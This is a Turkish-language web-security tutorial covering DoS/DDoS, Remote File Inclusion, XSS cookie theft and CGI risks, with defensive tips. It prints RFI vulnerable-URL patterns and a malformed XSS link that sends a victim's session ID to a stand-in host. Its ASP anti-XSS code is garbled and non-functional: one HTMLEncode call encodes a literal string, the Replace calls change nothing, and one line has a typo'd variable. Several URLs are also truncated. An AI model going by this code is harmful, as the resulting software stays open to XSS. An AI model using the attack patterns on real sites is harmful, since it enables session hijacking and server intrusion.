Internet Güvenliği
Çağımızın olmazsa olmazı arasına giren Internet, beraberinde bir çok tehlikeyi de getirmektedir. Bu tehlikeleri, Kredi Kartı bilgilerinin çalınması, Web Uygulamalarına ebedi olarak el konulması, e-Mail hesaplarının ele geçirilmesi, kişisel bilgilerin yayınlanması ...vs şeklinde sıralamak mümkün.
Peki bu tehlike unsurlarına karşı etkili çözümler nelerdir? Nasıl korunulur?
Öncelikli olarak kişisel bilgisayar güvenliği önemli. Kullanıcı kendi güvenliğini tam manasıyla sağladıktan sonra, gerisi sistem güvenirliğine kalmış bir olay. Sistem güvenirliği de gerekli yamalar, güvenlik önlemleri.. ile daha iyi bir duruma getirilebilir, her türlü saldırıya karşı donanımlı hale getirilebilir.
PC (Personal Computer) güvenliğinde en önemli madde bilinçli olmaktır. Kullanıcı bilinçli ise, sistem’in %90 ’ı güvendedir demektir. Şöyle ki, sistem hataları, güvenlik zafiyetleri belki fixlenebilir, lakin kullanıcı dikkatsizliği ve bilinçsizliği Sosyal Mühendislik sanatını iyi kullanan saldırganlara davetiye çıkarmakta, sistem ne kadar güvenli olsa bile, maalesef bu güvenlik devre dışı kalmaktadır. O yüzden ilk madde bilinçli olmaktır.
Internet ortamında, bilgisayarlar arası bağlantıda sürekli bir dosya paylaşımı vardır. Bu dosya paylaşımı sırasında, art niyetli kullanıcılar tarafından, virüs, trojan, worm, spy .. yollanabilmekte veya farklı amaçlar için kullanıcı bilgisayarları hacklenebilmektedir. Bunlara bilinçli ve dikkatli olmadan sonra gelebilecek en iyi çözüm iyi bir Firewall kullanmaktır. Sizin dikkatsizliğiniz anında, devreye Firewall güvenlik kalkanları girecektir. Bu sayede bilgisayarınızdaki veri alış-verişini görebilir, veri kontrolünü sağlayabilirsiniz..
Yukarıda saydıklarımıza ek olarak Domain Güvenliği kısmında anlatacağımız e-Mail Account güvenliği başlığı altında yer alacak olan maddeler de vardır.
-------------------------------------------------------------------------------
Döküman sanalsavascilar adına cracker25 tarafından yazılmıştır.
-------------------------------------------------------------------------------
Kendi güvenliğini sağlayan bir kullanıcı, internet ortamında oluşturduğu Web Uygulamalarını nasıl korumalıdır? Neler yapabilir?
Öncelikli olarak Web sitesi güvenliğinde (Host Güvenliği için), sisteminize karşı yapılabilecek saldırıları iyi bilmeniz gerekir. Bir saldırının boyutunu, verebileceği zararı ve mantığını anlamadan, bu saldırıya karşı çözüm üretemezsiniz...
Sisteme yapılabilecek en basit (görünen) saldırılardan biri olarak Denial Of Service (DOS) ve DDOS saldırılarını örnek verelim.
Denial Of Service (DOS) saldırıları diye nitelendirilen saldırı türü, sistem işleyişini engelleme, belirli verilere erişimi sağlama yerine yetkili kullanıcıların uygulamalara erişimini engelleyerek bilgi sistemleri kaynaklarını kilitler. Bu Attack türü ile sistemin sunduğu hizmet veya hizmetleri tamamiyle engelleyebilir ve devre dışı bırakabilir. Dos Attack işleyiş olarak, Attacker’ın çok büyük oranda karışık ve karşılanamaz verileri hedef sistem ağlarına veya bilgisayarlarına doğrudan göndermesini baz alır. Dos Attack yöntemini tehlikeli kılan yön ise çok eski tip makineler ve modemler ile çok karmaşık ve sofistike sistemleri devre dışı bırakmaktır.
DOS attacklar sadece e-ticaret ve web servislerine yapılmamaktadır. Bu saldırılardan routerlar, sanal özel ağlar(VPN) ve IRC sunucularıda etkilenmektedirler. Bir servis sağlayıcının router’ına yapılacak bir saldırı sonucu network trafiği altüst olabilir ve sonucunda da müşterilerinin bağlantıları kopabilir. Daha önce en büyük IRC ağlarından Undernet’in bazı önemli sunucuları DDoS yöntemiyle çökertilmişti. Saldırıda servis sağlayıcılar saniyede yüzlerce MB veri bombardımanına tutulmuştu..
Distributed Denial Of Service adını alan hizmet aksatmaya yönelik saldırı türünün DOS Attack’tan farkı, birden fazla noktadan tek bir merkeze yapılan sistem engelleme eylemidir. Şöyle ki; DOS saldırıları tek bir kaynaktan olup, herhangi hedef bir sisteme doğrudur. Ancak DDOS saldırılarında birden fazla makina tek bir hedefe focus olur. Bahsettiğimiz makina sayısı yüzlerce hatta binlerce olabilir. DDOS saldırılarının tehlikeli olmasının nedeni de bundan kaynaklanır.
Peki dev şirketlerin bile sistemlerini aciz bırakan bu saldırı türüne karşı alabileceğimiz önlemler nelerdir?
Yeterli Bant Genişliği sağlayabilirsiniz. Saldırılar bant genişliğine göre zarar verirler. Bant genişliği yeterli düzeyde olursa etkilenme azalacaktır.
Sisteminizi sürekli güncelleyin. Çünkü bu tür saldırılarda saldırı sırasında bir engelleme söz konusu olmayabilir. O yüzden saldırı öncesi hazırlık yapmanız gerekiyor.
İyi denebilecek düzeyde bir Firewall veya IDS (Saldırı Tespit Sistemi) kullanın. Bu sayede ağınızı gözetleyebilirsiniz (Çok sayıda SYN_RECV görmeniz sisteminizin DOS saldırısına maruz kaldığını gösterecektir.)
Saldırıya maruz kalan sistem ise, gelen bağlantıları reddetmelidir. Ancak zombie kullanılmış ise bu işe yaramayacaktır. Sistemi kapatmanız da Attacker’ın menfaatine olacaktır. Çünkü saldırgan zaten bunu hedeflemektedir. Bu yüzden en önemli güvenlik, saldırı öncesi hazırlıktır.
-------------------------------------------------------------------------------
Döküman sanalsavascilar adına cracker25 tarafından yazılmıştır.
-------------------------------------------------------------------------------
Bir başka etkili saldırı ise Remote File Include. Bu saldırının da en büyük etkisi ise, sunucu üzerindeki tüm sitelerin saldırı sonucu sömürülebilmesidir. Bu da saldırının ne derece tehlikeli olduğunu göstermektedir.
Remote File Inclusion (RFI), PHP ile kodlanmış sistemlerde, tecrübesiz webmaster’lar tarafından yapılan kodlama hatalarından faydalanılarak sisteme sızma yöntemidir. Bu saldırının verebileceği büyük zarar ise, RFI açığı olan site üzerinden, aynı serverda bulunan tüm sitelere sızılabilmesi. Bu yüzden bu güvenlik açığı, saldırganlar tarafından tercih edilen yöntemler arasına girmiştir.
Saldırganlar, RFI açığına rastladıkları sitede, açığı kullanarak web sayfa sunucusunun sağlamış olduğu diğer siteleri de sömürmek için ve server’daki diğer sitelere erişimi sağlayabilmek için Listpatch dediğimiz kod dizilimini kullanmaktadırlar. Listpatch’lerin upload edildiği URL’lerin, PHP ‘yi desteklemesi ve Listpacth içerisinde bulunan kodları compile etmemesi gerekiyor. Listpatch PHP destekli bir hosta (Örn:http://hometown.aol.com) yüklendikten sonra, Attacker için tüm şartlar hazırlanmış demektir. Örnek bir RFI açığı barındıran site;
http://www.example.com/path_to_qnews...hp?id=Attacker List Patch]
http://www.example.com/path_to_phpgr...t.php?content= [Attacker List Patch]
http://www.example.com/PATH/admin/pl...sedir=Attacker ListPatch]
Saldırıya karşı alınabilecek önlemler nelerdir? Nasıl Korunulabilir?
Bu saldırı temel olarak sistemde yapılan kodlama hatalarından kaynaklanmaktadır. O yüzden kodlama sürecinde yapılan hata olasılığı göz önüne alınarak, uygulama paylaşıma konulmadan önce yeniden check edilmelidir. Sizin sisteminizde bu açık yoksa bile, eğer sunucuda bu açığı barındıran herhangi bir site var ise, sunucu üzerinden sizin sitenize de ulaşılabilir, sizin host’unuz da hacklenme ile karşı karşıya gelebilir. O yüzden seçtiğiniz sunucuların da yeteri kadar güvende olduğundan emin olmalısınız.
-------------------------------------------------------------------------------
Döküman sanalsavascilar adına cracker25 tarafından yazılmıştır.
-------------------------------------------------------------------------------
Geçelim bir başka yönteme.. Son zamanlarda çok sık kullanılan ve genellikle Hotmail servisinde karşılaşılan Cross Site Scripting (XSS) Saldırılarının kullanılarak hack yapılması hatta bu yöntem ile Domain Reg. Mail (daha sonra değineceğiz) ‘in hacklenerek, Domain Hi-Jacking edilmesi, saldırıyı tehlikeli yapmaya yeterlidir.
XSS Saldırıları temel olarak Cookie’leri baz almaktadır. Cookie’ler, kendinize kişiselleştirmiş olduğunuz bir web-sayfasınız varsa veya bir ürün ya da servis için kayıt olmuşsanız, sizi bağlandığınız sisteme hatırlatarak zamandan tasarruf yapmanızı sağlar. Siteye yeniden girdiğinizde sistem daha önceden verdiğiniz cevapları hatırlar. Bilgileri değiştirdiğiniz zaman da, sistem sizi cookie ler sayesinde yeni halinizle hatırlar.
Browser’a yazılan bir siteye bağlandığınızda, bağlanacağınız sayfanın sunucusu, bilgisayarınızda kendi yazmış olduğu cookie’lerin olup olmadığına bakar. Eğer varsa, cookie’ler aracılığı ile size sabit bir ID atanır. Eğer sisteminizde, sunucuya ait cookie yoksa size ayrı bir SessionID atanır. Kaydettiği bu dosya hem sisteme, hem sizin bilgisayarınıza işlenir. Cookie’lerin formatı aşağıda verdiğimiz gibidir;
Domain : False : / : False : Bitiş Tarihi : Name : Value
Sırasıyla tanımları;
Domain: Cookie’yi sisteminize kaydeden Web sayfasının adını içerir.
False: Domainde bulunan tüm makinelerin değişkene erişim hakkının olup olmadığını
belirleyen bir bayraktır.
/ : URL’nin adresini gösterir.
False: SSL bağlantıları için kullanılır.
Bitiş Tarihi: Genellikle saniye cinsinde olup, çerezin bilgisayarınızdaki süresini belirler.
Name: Değişkenin adı
Value: Değişkenin değeri
Sistemlerin kodlanma sürecinde yapılan hatalar, sistemde bir takım zafiyetlere ve güvenlik açıklarına sebebiyet vermektedir. Attacker’lar bu sistem zafiyetlerinden faydalanarak sisteminizde kayıtlı olan cookie’leri kullanabilir, daha önceden girdiğiniz sitelere sizin adınıza bağlanabilir ve eğer site yöneticisiyseniz siteyi ele geçirebilir, istediğini yapabilir.
İşte bahsettiğimiz Cross Site Scripting saldırılarında, kodlanma sürecinde yapılan hatalardan faydalanılarak Cookie’ler çalınmaktadır. Kısaca Request ile kullanıcıdan alınan verilerin sayfa içerisinde yazdırılması ile oluşan Cross Site Scripting yani XSS açığıdır. Örneğin; QueryString ile alınan sayfa numaraları yada ilgili kaydı gösteren id değişkenleri;
http://www.hedefsite/Default.Asp?Page=1yada
http://www.hedefsite/Product.Asp?id=1http://www.hedefsite/Default.Asp?Kategori=Haber gibi.
Attacker’lar, arama ve haber modüllerinde, profil panellerinde..vs bulunan bu sistem hatası sayesinde, modüllere ufak scriptler ekleyerek siteyi yönlendirebilir veya hata vermesine neden olabilir.
Ayrıca Attacker, HTML tabanlı bir e-posta içine veya hazırladığı web sayfasına özel bir URL gömerek hedef sistem yöneticisine yollayıp, bu URL’yi kendi bilgisayarında açmasını, dolayısıyla hedef, farkında olmadan SessionID’sini hedefin URL’de tanımadığı adrese gönderecektir. Örneğin; Cyber-security.org’a üye olduğunuzu varsayalım. Bu siteye kullanıcı adınızla giriş yaptığınızda yeni bir session oluşturmuş oldunuz. Ve tam bu esnada size gelen bir e-posta’da ;
<a href =
http://www.sanalsavascilar.com?loginname=cracker25=<SCRIP T> Document.write(\\\\\\\\’img src= "http://www.x-master">
yukarıdaki gibi bir link gördünüz ve farkında olmadan buna tıkladınız. Dolayısıyla siz bu linke tıklamakla farkında olmadan sessionID’nizi, x.master.biz’e göndermiş oluyorsunuz.
Cross Site Scripting saldırılarına karşı alınabilecek önlemler nelerdir peki?
Request ile alınan değerleri her zaman QueryString’de olsa Replace ile Aşağıdaki şekilde Temizleyin ve Request verilerini alırken mutlaka tam sayıya çevirin…
Recid = CInt(Trim(Server.HTMLEncode("Recid")))
Recid = Replace(Recid, "<" , "<") ’küçüktür
Recid = Replace(Recid, ">" , ">") ’büyüktür
Recid = Replace(Recide, "’" , "’") ’tek tırnak
Recid = Replace(Recid, Chr(10) , "") ’Satır Başı
Recid = Replace(Recid, Chr(34) , "") ’çift tırnak
* ASP.NET ’de
Web.config Dosyasında aşağıdaki değişikleri yaptığınızda " ’ " gibi karakterleri sistem
kendisi kontrol eder. Bu Sayede hemen hemen hiçbir XSS ve SQL Enjeksiyon teknikleri
etkili olmaz
<System.Web>
<Pages validateRequest="True"></Pages>
</System.Web>
IPS Kullanıyor iseniz, Yeni imza oluşturup;
Application Layer / HTTP / HTTP.URL_DECODED Protokolüne;
’ Tek Tırnak,
" Çift Tırnak
< Küçük
> Büyük
Karakterlerini ekleyerek XSS ve SQL Enjeksiyon Saldırılarını Direkt Engelleyebilirsiniz...
-------------------------------------------------------------------------------
Döküman sanalsavascilar adına cracker25 tarafından yazılmıştır.
-------------------------------------------------------------------------------
Kullanmış olduğunuz Script’lere karşı da Attacker’lar saldırı yapmaktan çekinmeyeceklerdir. O yüzden script güvenliği de büyük önem taşımaktadır. Örnek olarak CGI Script’ler’e değinecek olursak, başlı başına CGI Saldırıları adlı konuyu ele alabiliriz.
CGI (Common Gateway Interface), Web Servisleri ile bu servislerin dışındaki programlar arasında etkileşim (ortak çalışma) platformu oluşturmak için geliştirilmiş bir standarttır. CGI, aslında bir programdır. Web’in statik yapısına, HTML kodu içinden çağrılan CGI programları dinamik bir nitelik kazandırmaktadır. En popüler CGI uygulamalarından birisi Web Sayaçlarıdır. Web sayfalarını kaç kişinin ziyaret ettiğini saptayan küçük uygulamalar dış program olarak, bir web sayfası içinden çağrılabilir. CGI programları gerçek zamanlı çalışırlar. CGI’lerin önemli uygulama alanlarından birbaşkası da, web üzerinde doldurup gönderilen formlar üzerindeki bilgileri server tarafında değerlendirip kullanıcıya cevabı göndermektir.
CGI programları "çalıştırılabilir" kodlar olduğundan, bir başkası, kolaylıkla sizin sisteminizde program çalıştırabilir. Bu yüzden, CGI kodları sistemde özel yerlerde tutulur ve o sistemin görevlilerinin denetimi altındadır.
CGI programları herhangi bir dilde yazılabilir : C, Fortran, Pascal, C++, Perl, Unix Shell, Visual Basic vb. CGI eğer C ya da Fortran gibi bir dilde yazılırsa, derlenmelidir. Perl ya da Unix Shell gibi ortamlar ise script ortamlardır ve bu şekilde yazılmış CGI Script’ler doğrudan çalıştırılabilir.
Özellikle Java ve JavaScript kullanımlarının yaygınlaşması, CGI’nin ilk zamanlardaki popüleritesini azaltmıştır. Öte yandan, CGI programları/scriptleri, bulundukları sistemde saklıdırlar ve çalıştıklarında o sistemin kaynaklarını kullanırlar. Oysa Java Appletleri ve JavaScript, doğrudan HTML döküman içinde onu çağıran web listeleyicisine gelirler ve burada icra edilebilirler. Bu da, Java Applet ve JavaScript’in CGI’ye göre önemli bir avantajıdır.
C.G.I Scriptler Web sayfalarının, serverdaki executable (açılabilir) durumda olan dosyaları kullanabilmesini sağlayan basit araçlardır. Uzun zamandan beri Web sitelerinde bazı işleri yürütmek için kullanılan CGI Scriptlerin güvenirliği ise tartışılır durumda. Çünkü basit çaptaki CGI Scriptler güvenlik protokolleri gözden geçirilmeden hazırlanmıştır ve sitenizde kullanmanız güvenliğinizi tehlikeye düşürebilir. Şöyle ki; CGI açıklarından faydalanarak hedef siteler hack’lenebilir, hatta daha sonra sistemi re-hack etmek için backdoor dediğimiz arka kapılar bile bırakılabilir.